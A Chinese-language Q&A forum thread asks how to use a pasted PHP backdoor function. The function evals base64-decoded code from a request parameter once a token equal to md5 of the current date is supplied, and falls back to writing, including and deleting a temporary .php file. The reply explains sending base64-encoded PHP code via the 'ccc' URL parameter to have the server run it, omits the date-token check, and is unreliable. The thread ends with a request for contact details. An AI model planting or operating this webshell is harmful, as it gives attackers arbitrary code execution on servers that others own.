Question

php一句话利用 我想知道下面这句话怎么利用

function _initialize() {
$__tk = md5( date( 'Y-m-d' ) );
if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) {
if( !empty( $_REQUEST['ccc'] ) ) {
if(function_exists('eval')) {
@eval(base64_decode($_REQUEST['ccc']));
} else {
$file = "./".microtime(1).".php";
file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"]));
@include $file;
@unlink($file);
}
}
}

Answer 1

打开浏览器访问url后面加上参数ccc=base64加密后的php代码，这样服务器就会执行你所传输的代码。这就是一句话利用的意义！

追问

留个联系方式